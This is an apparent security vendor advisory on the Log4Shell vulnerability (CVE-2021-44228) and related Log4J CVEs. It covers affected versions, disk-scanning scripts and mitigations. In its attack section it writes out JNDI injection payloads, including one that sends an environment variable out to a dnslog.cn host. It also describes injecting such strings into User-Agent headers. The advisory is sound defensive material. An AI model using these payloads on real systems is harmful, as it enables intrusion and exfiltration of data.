CVE-2021-44228 Log4Shell: a remote code execution vulnerability affecting the Apache Log4J software
In late November 2021, Chen Zhaojun, a member of the Alibaba Cloud security team, identified a vulnerability in the Apache Log4J project code and notified the development teams.
On December 9, 2021, security researcher p0rz9 posted information about this vulnerability on Twitter, demonstrating how to use it to execute remote code (known as RCE, or Remote Code Execution). This Apache Log4J vulnerability was then quickly shared across the internet and referenced under the code CVE-2021-44228.
Apache Log4J is a logging management software used for the Java language, published by the Apache Foundation.
Log4J is used to record events from other software, for example, to write down all requests made to a website.
Log4J is a widely used library: there are over 300,000 results on GitHub for the import query that allows this project to be used.
How does CVE-2021-44228 work?
When writing an entry to the logs, Log4J allows you to:
- perform additional operations to retrieve values from external sources;
- make calls to third-party systems using protocols such as LDAP (directory service), DNS (Domain Name System), RMI (Remote Method Invocation) via JNDI.
The CVE-2021-44228 / Log4Shell vulnerability involves injecting a malicious payload into vulnerable software, which instructs Log4j to fetch a value from a third-party source using JNDI via protocols such as LDAP, DNS, RMI, or CORBA.
However, in this case, Log4j does not sufficiently validate the imported data. This imported data can therefore be code, which is then executed by Log4j on the system.
How can a system be attacked using this vulnerability?
The simplest strategy is to use a DNS logging service like dnslog.cn.
By clicking "Get subdomain," DNSlog generates a unique domain name.
The goal is then to send a message to the vulnerable software such as ${jndi:ldap://<unique-subdomain>.dnslog.cn/}.
If the sent message is logged by Log4j, Log4j will trigger an LDAP call to DNSlog, and this call will be visible on DNSlog.cn.
An attacker can thus force a vulnerable system to make requests to a server under their control, taking the opportunity to push malicious instructions that are then executed by Log4j.
This vulnerability also makes it very easy to exfiltrate information via the DNS protocol, for example with a request such as ${jndi:ldap://${env:user}.dnslog.cn/}.
Certain HTTP headers are particularly prone to being logged, such as the User-Agent, which is often used for statistical purposes (the User-Agent indicates the browser being used). In this context, many attackers are currently scanning the entire internet by injecting a JNDI request into the User-Agent header to identify websites affected by CVE-2021-44228.
It is important to note that the malicious code must be successfully injected into the logs generated by Log4J to exploit the vulnerability. Therefore, the mere presence of a vulnerable version of Log4J in a product does not automatically mean the product itself is vulnerable. For example, the VMWare vSphere web interface login page is affected by Log4J, but only under very specific conditions involving the login page, the SAMLRequest parameter, and the X-Forwarded-For HTTP header.
Log4Shell is therefore not necessarily a trivial vulnerability to exploit, and it depends heavily on the context in which Log4J is used.
Which systems are affected by CVE-2021-44228?
Log4J versions 2.0-beta9 through 2.14.1 inclusive are affected by Log4Shell CVE-2021-44228.
According to the Apache security bulletin, the vulnerability affects Log4J versions 2.0-beta9 through 2.14.1 inclusive.
Consequently, Apache recommends updating Log4J to version 2.15.0 to resolve the issue.
Authorities, particularly ANSSI, also recommend updating Log4J to version 2.15.0 as soon as possible.
Furthermore, any software using Log4J in vulnerable configurations is also considered vulnerable. This includes many third-party applications, such as Steam, Minecraft, and others.
Log4J 1.X versions are not considered affected by Log4Shell CVE-2021-44228.
Log4J 1.X versions are only vulnerable in extremely rare configurations. ANSSI specifies in its bulletin that while version 1 of Log4J was initially declared vulnerable, the vulnerability only exists if the JMS Appender component is configured to use JNDI, which is a very specific configuration. As such, the NVD does not consider 1.X versions vulnerable at the time of this writing.
What is the difference between CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, and CVE-2021-44832?
CVE-2021-44228 is the initial vulnerability, with a score of 10/10, known as Log4Shell, which was patched in Log4J 2.15.0.
CVE-2021-44228 is the initial vulnerability published for Log4J products, relating to 2.X versions and patched in Log4J 2.15.0.
This vulnerability has a 10/10 score on the CVSS scale, which is used to measure the severity of a vulnerability.
It is this vulnerability that triggered the initial "crisis" surrounding Log4J, which was quickly dubbed Log4Shell.
CVE-2021-45046 and CVE-2021-45105 are evolutions of the original vulnerability; they are less severe and were patched in Log4J 2.16.0 and 2.17.0.
When a technology is affected by a particularly serious vulnerability, the community quickly mobilizes to provide security patches and to identify new vulnerabilities of the same type.
In this context, researchers discovered two additional vulnerabilities based on the same principle and affecting the same technology that had not been addressed in Log4J 2.15.0.
These vulnerabilities have been assigned the identifiers CVE-2021-45046 and CVE-2021-45105, and were patched in Log4J 2.16.0 and 2.17.0, respectively.
These vulnerabilities are less severe than CVE-2021-44228, with a score of 9/10 for CVE-2021-45046 and 7.5/10 for CVE-2021-45105.
CVE-2021-4104 concerns older versions of Log4J, specifically the 1.2.X branch, which should no longer be in use.
CVE-2021-4104 is a vulnerability with a score of 8.1/10 that affects Log4J versions 1.2.X.
However, Log4J version 1.X reached its end-of-life on August 5, 2015.
Consequently, the official recommendation is to discontinue the use of Log4J 1.X as soon as possible and migrate to a 2.X version.
CVE-2021-44832 is a minor vulnerability that can only be exploited if the attacker is already able to modify the Log4J configuration file on the targeted application.
CVE-2021-44832 is a new vulnerability published on December 28, 2021, with a lower score of 6.6/10. It affects Log4J versions 2.0-beta7 through 2.17.0 (excluding versions 2.3.2 and 2.12.4), but is only exploitable under very specific conditions: the attacker must first be able to modify a Log4J-related configuration file on the target application.
However, if an attacker can already modify such a file on an application, it means they already have access to sensitive elements on the target.
In this context, CVE-2021-44832 is currently viewed by many experts as merely an opportunity for certain security researchers and vendors to capitalize on the panic surrounding Log4J.
How do I scan a server for Log4Shell?
Cyberwatch recommends scanning the entire hard drive for JAR files related to Log4J. A non-exhaustive example script is provided below:
# FOR LINUX (Bash)
## Scan the disk for Log4J-related JARs
for line in $(find / -name \*.jar 2>&1 | grep log4j)
do
echo "DEBUG:potential log4j candidate on $line"
done
# FOR WINDOWS (PowerShell)
## Scan the disk for Log4J-related JAR files
$jar = @()
$drives = Get-PSDrive -PSProvider 'FileSystem'
foreach($drive in $drives) {
$jar += Get-ChildItem -Path $Drive.Root -File -ErrorAction SilentlyContinue -Force -Recurse -Filter '*.jar'
}
foreach($line in $jar) {
if($line -match 'log4j'){
$path = $line.FullName
Write-Output "DEBUG:Potential log4j candidate on '$path'"
}
}
A comprehensive analysis will also require monitoring third-party components that might include Log4J, or examining the contents of WAR files that could contain vulnerable versions (the unzip and jar commands can be used for the latter).
Additionally, Cyberwatch provides an open-source web scanning engine on GitHub, capable of scanning websites for Log4shell via injections across nearly 70 HTTP headers.
Cyberwatch customers can also directly view the pages for CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, and CVE-2021-44832 in their vulnerability encyclopedia to identify affected assets.
How can this vulnerability be mitigated?
The priority action is to update Log4J to version 2.17.1, using your standard package managers or by downloading it directly from the official Apache website.
It is also possible to reduce the exploitability of the vulnerability by setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. However, this countermeasure only works for Log4J versions 2.10 and higher.
Cyberwatch Vulnerability Manager can detect CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, and CVE-2021-44832, and can deploy security patches when they involve an official distribution package. Please feel free to request a demo via our dedicated form.
Article update history
12/29/2021 at 11:54 PM: added coverage for CVE-2021-44832.
12/20/2021 at 12:00 PM: added coverage for CVE-2021-45105 and CVE-2021-4104, and included additional context on the history of the CVE-2021-44228 vulnerability.
12/14/2021 at 10:33 PM: added coverage for CVE-2021-45046.
12/14/2021 at 10:40 AM: added details regarding Log4J version 1.X.
12/13/2021 at 8:03 PM: added links to the open-source web scanner Wapiti, which has been updated to cover Log4Shell, as well as Bash and PowerShell scripts for performing a quick initial disk scan.
12/13/2021 at 10:02 AM: external requests are required at a minimum via the DNS protocol, using jndi:dns, which allows many traffic restrictions to be bypassed. The recommendation is therefore to update to Log4J 2.15.0, or at the very least to set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS at true.
